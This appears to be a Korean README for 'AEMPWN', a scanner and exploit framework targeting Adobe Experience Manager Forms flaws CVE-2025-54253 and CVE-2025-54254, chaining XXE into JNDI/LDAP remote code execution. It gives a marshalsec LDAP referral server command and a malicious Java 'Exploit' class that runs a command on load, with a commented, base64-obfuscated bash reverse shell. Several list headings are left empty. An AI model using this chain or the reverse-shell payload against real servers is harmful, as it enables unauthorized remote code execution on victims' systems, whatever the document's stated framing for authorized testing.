
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE 프레임워크
CVE-2025-54253 및 CVE-2025-54254를 위한 AEM Forms 스캐너
AEMPWN은 고위험 Adobe Experience Manager (AEM) Forms 취약점을 식별하기 위한 대상 스캐너로, 안전한 탐지, 블라인드 OOB (Out-of-Band) 확인 및 전체 PoC (Proof-of-Concept) 검증 워크플로를 지원합니다. 이 도구는 공인된 보안 테스트 전용으로 설계되었습니다.
CVE-2025-54253
AEM Forms (JEE)에서 구성 종속 원격 코드 실행
CVE-2025-54254
파일 노출 및 잠재적 권한 상승으로 이어지는 XML External Entity (XXE) 삽입
AEMPWN은 실제 버그 바운티 및 레드 팀 워크플로에 맞춰 세 가지 실행 모드를 지원합니다.
목적:
파괴적 동작을 유발하지 않고 안전하지 않은 XML 파싱 동작 및 실행 가능한 익스플로잇 표면을 식별합니다.
검증 내용:
사용 시기:
목적:
AEM 서버의 아웃바운드 요청을 통해 블라인드 XXE를 확인합니다.
중요 설명:
Burp Collaborator (또는 유사 서비스)는 아웃바운드 연결만 관찰합니다. 다음을 수행하지 않습니다:
이 때문에 Collaborator만으로는 완전한 OOB XXE 익스플로잇에 충분하지 않습니다.
필요한 것:
증명하는 내용:
목적:
P1 수준의 영향을 위해 AEM 서버에서 실제 코드 실행을 입증합니다.
이 모드는 HTTP 콜백 이상의 인프라가 필요한 XML 파싱을 통한 JNDI 인젝션에 의존합니다.
필요한 것:
LDAP이 필요한 이유:
XML 파서가 JNDI 참조를 해석하려고 시도하여 AEM 서버가 LDAP 리스너에 연결하도록 합니다. LDAP 응답은 Java 클래스를 가리키며, 해당 클래스가 로드되어 JVM에서 실행됩니다.
최적 도구: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = Exploit.class (컴파일된 악성 클래스)를 제공하는 HTTP 서버.
악성 클래스 예시 (간단한 touch /tmp/pwned 또는 리버스 셸):
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// or reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
컴파일 → HTTP 서버에 호스팅 (DTD와 동일하거나 별도). AEM이 엔티티를 파싱하면 → LDAP에 연결 → 클래스 가져오기 → 코드 실행.
주요 제한 사항:
Burp Collaborator는 다음을 수행할 수 없습니다:
이러한 이유로 RCE 모드는 실제 LDAP 서비스 없이 작동할 수 없습니다.
Burp Collaborator (및 유사 플랫폼)는 탐지에만 유용합니다.
다음을 확인할 수 있습니다:
다음을 수행할 수 없습니다:
페이로드를 전달하는 것이 아니라 관찰하는 데 Collaborator를 사용하십시오.
확인된 결과는 출력 파일 (기본값: aem-forms-scan.txt)에 기록되며 다음을 포함합니다: